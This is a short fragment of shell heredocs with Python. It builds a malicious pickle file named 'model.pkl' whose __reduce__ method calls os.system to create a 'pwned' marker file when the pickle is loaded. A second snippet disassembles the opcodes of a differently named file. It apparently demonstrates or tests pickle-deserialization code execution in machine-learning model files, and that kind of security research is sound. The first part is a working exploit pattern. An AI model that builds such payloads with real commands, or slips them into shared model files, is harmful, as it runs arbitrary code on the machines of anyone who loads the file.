import pickle, os class RCE: def __reduce__(self): return (os.system, ("touch /mnt/d/stratacloud/localdisk/pwned",)) pickle.dump(RCE(), open("model.pkl","wb")) EOF python - << 'EOF' import pickletools print("Pickle opcodes detected:") pickletools.dis("unsafe_pickle_model.pt") EOF